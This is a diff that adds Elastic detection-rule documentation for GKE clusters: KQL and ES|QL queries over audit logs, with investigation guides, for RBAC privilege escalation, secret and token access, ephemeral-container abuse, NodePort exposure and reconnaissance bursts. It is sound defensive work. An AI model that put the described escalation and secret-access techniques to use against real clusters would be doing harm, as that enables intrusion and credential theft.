b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-creation-or-modification-of-sensitive-role.asciidoc new file mode 100644 index 0000000000..0ac8f636c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-creation-or-modification-of-sensitive-role.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-gke-creation-or-modification-of-sensitive-role]] +=== GKE Creation or Modification of Sensitive Role + +Detects creation or modification of GKE Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (bind, escalate, impersonate), which may enable privilege escalation or unauthorized access within the cluster. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Creation or Modification of Sensitive Role* + + +This rule detects allowed create, update, or patch actions on Roles and ClusterRoles that introduce high-risk RBAC +permissions, including wildcard access and escalation verbs like bind, escalate, or impersonate. + + +*Possible investigation steps* + + +- Identify `client.user.email`, `source.ip`, and `user_agent.original`. +- Review `gcp.audit.resource_name`, `event.action`, and `gcp.audit.request` for the changed role. +- Enumerate RoleBindings or ClusterRoleBindings that reference the role and hunt for follow-on secret or exec activity. + + +*False positive analysis* + + +- GitOps or platform bootstrap may create broad roles during onboarding. `system:addon-manager` patch reconciliation on built-in Roles and ClusterRoles is excluded. + + +*Response and remediation* + + +- Revert unauthorized roles, remove unexpected bindings, and restrict RBAC change permissions to governed pipelines. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Request body capture on RBAC resources is required. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.authorization.rbac.v1.roles.create" or + "io.k8s.authorization.rbac.v1.roles.update" or + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.create" or + "io.k8s.authorization.rbac.v1.clusterroles.update" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" +) and not source.ip:("::1" or "127.0.0.1") and not ( + client.user.email:"system:serviceaccount:kube-system:clusterrole-aggregation-controller" and + gcp.audit.request.metadata.name:(admin or edit) and + event.action:"io.k8s.authorization.rbac.v1.clusterroles.patch" +) and not ( + client.user.email:"system:addon-manager" and + event.action:( + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" + ) +) and ( + gcp.audit.request.rules.verbs:("*" or escalate or bind or impersonate) or + ( + gcp.audit.request.rules.verbs:("*" or create or patch or update) and + gcp.audit.request.rules.resources:( + "*" or clusterroles or clusterrolebindings or roles or rolebindings or + pods/exec or serviceaccounts/token or nodes/proxy or daemonsets + ) + ) or + ( + gcp.audit.request.rules.verbs:("*" or get or list) and + gcp.audit.request.rules.resources:("*" or secrets) + ) or + gcp.audit.response.rules.verbs:("*" or escalate or bind or impersonate) or + ( + gcp.audit.response.rules.verbs:("*" or create or patch or update) and + gcp.audit.response.rules.resources:( + "*" or clusterroles or clusterrolebindings or roles or rolebindings or + pods/exec or serviceaccounts/token or nodes/proxy or daemonsets + ) + ) or + ( + gcp.audit.response.rules.verbs:("*" or get or list) and + gcp.audit.response.rules.resources:("*" or secrets) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-endpoint-permission-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-endpoint-permission-enumeration.asciidoc new file mode 100644 index 0000000000..bbc6011078 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-endpoint-permission-enumeration.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-gke-endpoint-permission-enumeration]] +=== GKE Endpoint Permission Enumeration + +Detects a single authenticated GKE identity from one source IP issuing a burst of API calls across many distinct actions and resources with a mix of successful and failed outcomes. That pattern is consistent with automated RBAC permission enumeration rather than steady-state controller traffic. Anonymous probing is covered by a separate rule. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#unauthenticated-api-access + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Endpoint Permission Enumeration* + + +The rule aggregates GKE audit events per `client.user.email` and `source.ip` over the rule lookback. It alerts when +the actor hits more than five distinct `event.action` values and more than three distinct `gcp.audit.resource_name` +values, produces both success and failure outcomes, and stays under 75 total events. Use +`Esql.earliest_timestamp` and `Esql.latest_timestamp` to bound the burst in Discover. + + +*Possible investigation steps* + + +- Review `Esql.event_action_values`, `Esql.gcp_audit_resource_name_values`, and `Esql.event_outcome_values` for targeted APIs + (secrets, RBAC, pods/exec) and which calls succeeded. +- Confirm whether `source.ip` and `Esql.user_agent_original_values` match expected admin or automation clients. +- Hunt for follow-on activity from the same identity: RoleBinding changes, secret reads, privileged pod creates, or + exec. + + +*False positive analysis* + + +- Platform engineers validating least-privilege RBAC can look like enumeration; correlate with change tickets. +- Chatty operators that occasionally fail authorization may approach the thresholds; raise exclusions only after + confirming the identity is expected. + + +*Response and remediation* + + +- If malicious, revoke or rotate the credential, tighten RBAC, and inspect for data access or persistence after the + burst. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and client.user.email is not null + and source.ip is not null + and to_string(source.ip) != "127.0.0.1" + and to_string(source.ip) != "::1" + and client.user.email != "system:anonymous" + and client.user.email != "system:unauthenticated" + and gcp.audit.resource_name != "readyz" + and gcp.audit.resource_name != "livez" + and gcp.audit.resource_name != "healthz" + and gcp.audit.resource_name != "version" +| stats + Esql.document_count = count(), + Esql.event_outcome_count_distinct = count_distinct(event.outcome), + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.gcp_audit_resource_name_count_distinct = count_distinct(gcp.audit.resource_name), + Esql.earliest_timestamp = min(@timestamp), + Esql.latest_timestamp = max(@timestamp), + Esql.event_action_values = values(event.action), + Esql.event_outcome_values = values(event.outcome), + Esql.gcp_audit_resource_name_values = values(gcp.audit.resource_name), + Esql.user_agent_original_values = values(user_agent.original) + by client.user.email, source.ip +| where Esql.event_outcome_count_distinct == 2 + and Esql.event_action_count_distinct > 5 + and Esql.gcp_audit_resource_name_count_distinct > 3 + and Esql.document_count < 75 +| keep Esql.*, client.user.email, source.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-ephemeral-container-added-to-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-ephemeral-container-added-to-pod.asciidoc new file mode 100644 index 0000000000..1df8e4946d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-ephemeral-container-added-to-pod.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-gke-ephemeral-container-added-to-pod]] +=== GKE Ephemeral Container Added to Pod + +Detects allowed updates or patches to the pods/ephemeralcontainers subresource on GKE by a non-system identity. Ephemeral containers are commonly used for debugging (kubectl debug) but can also be abused to inject tooling into a running pod, access mounted secrets, and execute commands in the target pod context. Attackers with sufficient RBAC may use ephemeral containers to escalate privileges, move laterally, or establish persistence without deploying a new workload. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Ephemeral Container Added to Pod* + + +Ephemeral containers allow adding a container to an existing pod for troubleshooting. When abused, they can gain +interactive access to a workload, read sensitive files, and run tools that were not present in the original image. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, and `user_agent.original` and confirm the identity is authorized to use + ephemeral containers. +- Inspect `gcp.audit.resource_name` to identify the targeted pod and owning workload. +- If request bodies are captured, review the ephemeral container image, command, and securityContext for privilege + indicators. +- Correlate with follow-on audit activity such as pod exec, secret reads, TokenRequest, or RBAC modifications. + + +*False positive analysis* + + +- Approved on-call debugging with `kubectl debug` may match. Allowlist known admin identities after review. + + +*Response and remediation* + + +- If unauthorized, remove excessive RBAC that grants update or patch on pods/ephemeralcontainers and rotate exposed + credentials. +- Quarantine or redeploy impacted workloads and hunt for additional compromised pods or identities. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.core.v1.pods.ephemeralcontainers.update" or + "io.k8s.core.v1.pods.ephemeralcontainers.patch" +) and not client.user.email:( + system\:node\:* or + system\:serviceaccount\:kube-system\:* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-exposed-service-created-with-type-nodeport.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-exposed-service-created-with-type-nodeport.asciidoc new file mode 100644 index 0000000000..0d09cef1da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-exposed-service-created-with-type-nodeport.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-gke-exposed-service-created-with-type-nodeport]] +=== GKE Exposed Service Created With Type NodePort + +Detects creation or modification of a GKE Service with type NodePort. NodePort exposes a static port on every worker node that hosts matching pods, which widens the cluster's external attack surface and can bypass load-balancer and firewall controls. Attackers may create NodePort Services to intercept traffic or establish a direct path into the cluster. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types +* https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport +* https://www.tigera.io/blog/new-vulnerability-exposes-kubernetes-to-man-in-the-middle-attacks-heres-how-to-mitigate/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Exposed Service Created With Type NodePort* + + +NodePort opens a port on each worker node hosting the service and forwards external traffic to labeled pods. Confirm +whether the exposure was approved and which workloads are reachable. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, and `user_agent.original`. +- Inspect `gcp.audit.resource_name` and `gcp.audit.request` for the service name, namespace, selector, and port. +- Identify the backing pods and whether the NodePort is required for a legitimate external entrypoint. +- Correlate with recent Service or networking changes from the same actor. + + +*False positive analysis* + + +- Approved NodePort Services for lab frontends or custom load balancing may match. Allowlist known automation or + namespaces after review. +- GKE addon reconciliation via `system:addon-manager` patch is excluded; unexpected create or update from that actor + should still be investigated. + + +*Response and remediation* + + +- Remove or change unauthorized NodePort Services, revoke excess RBAC for Services writes, and review firewall exposure + for the opened node ports. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Request body capture for Service resources is +required so `gcp.audit.request.spec.type` is populated. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.core.v1.services.create" or + "io.k8s.core.v1.services.update" or + "io.k8s.core.v1.services.patch" +) and gcp.audit.request.spec.type:"NodePort" and not ( + client.user.email:"system:addon-manager" and + event.action:"io.k8s.core.v1.services.patch" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-forbidden-creation-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-forbidden-creation-request.asciidoc new file mode 100644 index 0000000000..17704fa4e4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-forbidden-creation-request.asciidoc @@ -0,0 +1,108 @@ +[[prebuilt-rule-8-19-34-gke-forbidden-creation-request]] +=== GKE Forbidden Creation Request + +Detects denied GKE API create requests from non-control-plane identities. Failed creates can indicate RBAC probing, stolen credentials with insufficient privileges, or attempts to deploy unauthorized workloads. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Forbidden Creation Request* + + +Denied creates outside GKE system identities often reflect reconnaissance or misconfigured automation with stolen tokens. + + +*Investigation steps* + + +- Review `client.user.email`, `event.action`, `gcp.audit.resource_name`, `source.ip`, `user_agent.original`, and `gcp.audit.status.message`. +- Determine whether the identity should exist and whether the target resource is sensitive (pods, secrets, RBAC). +- Correlate with later successful creates or RBAC changes from the same actor. + + +*False positives* + + +- New deployments where RoleBindings lag the workload; exclude approved CI service accounts after review. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:failure and +event.action:*.create and +gcp.audit.status.message:(*forbidden* or *Unauthorized*) and +not client.user.email:( + "system:apiserver" or system\:kube-* or "system:cloud-controller-manager" or system\:gke-* or + system\:node\:* or system\:serviceaccount\:kube-system\:* or system\:serviceaccount\:gke-managed* or + "kubelet-bootstrap" or "kubelet-nodepool-bootstrap" or "gcp:kube-bootstrap" +) and +not user_agent.original:(*kubernetes/$Format) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-forbidden-request-from-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-forbidden-request-from-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..55fadf3f1b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-forbidden-request-from-unusual-user-agent.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-gke-forbidden-request-from-unusual-user-agent]] +=== GKE Forbidden Request from Unusual User Agent + +Detects the first occurrence of a failed GKE API request from a previously unseen user agent. Adversary tooling often uses non-standard clients; combined with authorization failures this can indicate RBAC probing or exploitation attempts. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authorization/ +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Forbidden Request from Unusual User Agent* + + +A novel user agent with failed API calls may be scanner or post-compromise tooling probing RBAC. + + +*Investigation steps* + + +- Review `user_agent.original`, `client.user.email`, `event.action`, `gcp.audit.resource_name`, and `source.ip`. +- Determine whether the client is expected (new SDK, CI image) or external reconnaissance. +- Hunt for successful requests from the same UA or source after the failures. + + +*False positives* + + +- First use of a legitimate new client library; add a scoped UA exception after validation. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:failure and +user_agent.original:(* and not (*kubernetes/$Format or kube-probe* or gke-exec-auth-plugin*)) and +not client.user.email:( + "system:addon-manager" or system\:*controller* or system\:gke-* or + "system:apiserver" or "system:kube-scheduler" or "system:metrics-server-nanny" or + "system:kube-proxy" or "system:clustermetrics" or "system:vpa-recommender" or + "system:cluster-autoscaler" or "system:kubestore-collector" or + "system:konnectivity-server" or + "system:serviceaccount:kube-system:pod-garbage-collector" or + "system:serviceaccount:kube-system:generic-garbage-collector" or system\:node\:* or + "gcp:kube-bootstrap" or *container-engine-robot* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-multi-resource-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-multi-resource-discovery.asciidoc new file mode 100644 index 0000000000..a5fb74aff5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-multi-resource-discovery.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-34-gke-multi-resource-discovery]] +=== GKE Multi-Resource Discovery + +Adversaries who land credentials in a GKE cluster—or abuse an over-privileged token, often map the environment before exfiltration or privilege escalation. A practical first pass is to learn where workloads run, how the cluster is partitioned, and what RBAC exists at namespace vs cluster scope. Rapid get/list traffic across many distinct API resource kinds that answer those questions (namespaces, workloads, roles, cluster-wide roles) is a common setup and orientation pattern for both interactive attackers and automated recon scripts. This rule highlights that cross-resource burst from a single client fingerprint within a one-minute bucket when both cluster-layout and RBAC resource kinds are touched, so analysts can separate routine automation from potential discovery ahead of follow-on actions. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: ES|QL +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Multi-Resource Discovery* + + +The rule groups GKE audit get/list events on namespaces, nodes, pods, configmaps, serviceaccounts, roles, +rolebindings, clusterroles, and clusterrolebindings into one-minute windows per `client.user.email`, `source.ip`, +and `user_agent.original`. It alerts when five or more distinct resource kinds appear and the burst includes both +cluster-layout kinds (namespaces, pods, or nodes) and RBAC kinds. Allowed and denied authorizations are both +included: failures still signal probing. + + +*Possible investigation steps* + + +- Review `Esql.enumerated_resources`, `Esql.enumerated_namespaces`, and `Esql.enumerated_resource_names` for + ordering and targeted APIs. +- Confirm whether `source.ip` and `user_agent.original` match expected admin or automation clients. +- Correlate with follow-on secret reads, RoleBinding changes, pod exec, or unusual user agents from the same actor. + + +*False positive analysis* + + +- Documented platform sync jobs that read layout and RBAC together; exclude known service accounts after validation. +- Upgrade or install windows that briefly query many resource kinds; correlate with change records. + + +*Response and remediation* + + +- If malicious, revoke or rotate the implicated credentials, tighten RBAC, and inspect for data access or persistence + established after the burst. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and event.action in ( + "io.k8s.core.v1.namespaces.get", + "io.k8s.core.v1.namespaces.list", + "io.k8s.core.v1.nodes.get", + "io.k8s.core.v1.nodes.list", + "io.k8s.core.v1.pods.get", + "io.k8s.core.v1.pods.list", + "io.k8s.core.v1.configmaps.get", + "io.k8s.core.v1.configmaps.list", + "io.k8s.core.v1.serviceaccounts.get", + "io.k8s.core.v1.serviceaccounts.list", + "io.k8s.authorization.rbac.v1.roles.get", + "io.k8s.authorization.rbac.v1.roles.list", + "io.k8s.authorization.rbac.v1.rolebindings.get", + "io.k8s.authorization.rbac.v1.rolebindings.list", + "io.k8s.authorization.rbac.v1.clusterroles.get", + "io.k8s.authorization.rbac.v1.clusterroles.list", + "io.k8s.authorization.rbac.v1.clusterrolebindings.get", + "io.k8s.authorization.rbac.v1.clusterrolebindings.list" + ) + and source.ip is not null + and client.user.email is not null + and not to_string(source.ip) in ("127.0.0.1", "::1") + and not client.user.email like "system:kube-*" + and not client.user.email like "system:gke-*" + and not client.user.email like "system:node:*" + and not client.user.email like "system:serviceaccount:kube-system:*" + and not client.user.email like "system:serviceaccount:gke-managed*" + and not client.user.email in ( + "system:apiserver", + "system:addon-manager", + "system:kubestore-collector", + "gcp:kube-bootstrap", + "system:serviceaccount:security:trivy-operator" + ) + and not client.user.email like "system:serviceaccount:flux-system:*" + and not client.user.email like "system:serviceaccount:argocd:*" + and not client.user.email like "system:serviceaccount:argocd-system:*" + and not client.user.email like "system:serviceaccount:cattle-turtles-system:*" + and not client.user.email like "system:serviceaccount:*:palette-manager" +| eval Esql.time_interval = date_trunc(1 minute, @timestamp), + Esql.resource_kind = case( + event.action in ("io.k8s.core.v1.namespaces.get", "io.k8s.core.v1.namespaces.list"), "namespaces", + event.action in ("io.k8s.core.v1.nodes.get", "io.k8s.core.v1.nodes.list"), "nodes", + event.action in ("io.k8s.core.v1.pods.get", "io.k8s.core.v1.pods.list"), "pods", + event.action in ("io.k8s.core.v1.configmaps.get", "io.k8s.core.v1.configmaps.list"), "configmaps", + event.action in ("io.k8s.core.v1.serviceaccounts.get", "io.k8s.core.v1.serviceaccounts.list"), "serviceaccounts", + event.action in ("io.k8s.authorization.rbac.v1.roles.get", "io.k8s.authorization.rbac.v1.roles.list"), "roles", + event.action in ("io.k8s.authorization.rbac.v1.rolebindings.get", "io.k8s.authorization.rbac.v1.rolebindings.list"), "rolebindings", + event.action in ("io.k8s.authorization.rbac.v1.clusterroles.get", "io.k8s.authorization.rbac.v1.clusterroles.list"), "clusterroles", + event.action in ("io.k8s.authorization.rbac.v1.clusterrolebindings.get", "io.k8s.authorization.rbac.v1.clusterrolebindings.list"), "clusterrolebindings", + null + ), + Esql.is_rbac = case( + event.action in ( + "io.k8s.authorization.rbac.v1.roles.get", + "io.k8s.authorization.rbac.v1.roles.list", + "io.k8s.authorization.rbac.v1.rolebindings.get", + "io.k8s.authorization.rbac.v1.rolebindings.list", + "io.k8s.authorization.rbac.v1.clusterroles.get", + "io.k8s.authorization.rbac.v1.clusterroles.list", + "io.k8s.authorization.rbac.v1.clusterrolebindings.get", + "io.k8s.authorization.rbac.v1.clusterrolebindings.list" + ), + 1, + 0 + ), + Esql.is_layout = case( + event.action in ( + "io.k8s.core.v1.namespaces.get", + "io.k8s.core.v1.namespaces.list", + "io.k8s.core.v1.pods.get", + "io.k8s.core.v1.pods.list", + "io.k8s.core.v1.nodes.get", + "io.k8s.core.v1.nodes.list" + ), + 1, + 0 + ) +| stats + Esql.unique_resources = count_distinct(Esql.resource_kind), + Esql.rbac_event_count = sum(Esql.is_rbac), + Esql.layout_event_count = sum(Esql.is_layout), + Esql.enumerated_resources = values(Esql.resource_kind), + Esql.enumerated_namespaces = values(orchestrator.namespace), + Esql.enumerated_resource_names = values(gcp.audit.resource_name), + Esql.event_outcome_values = values(event.outcome) + by client.user.email, source.ip, user_agent.original, Esql.time_interval +| where Esql.unique_resources >= 5 + and Esql.rbac_event_count > 0 + and Esql.layout_event_count > 0 +| keep Esql.*, client.user.email, source.ip, user_agent.original + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: 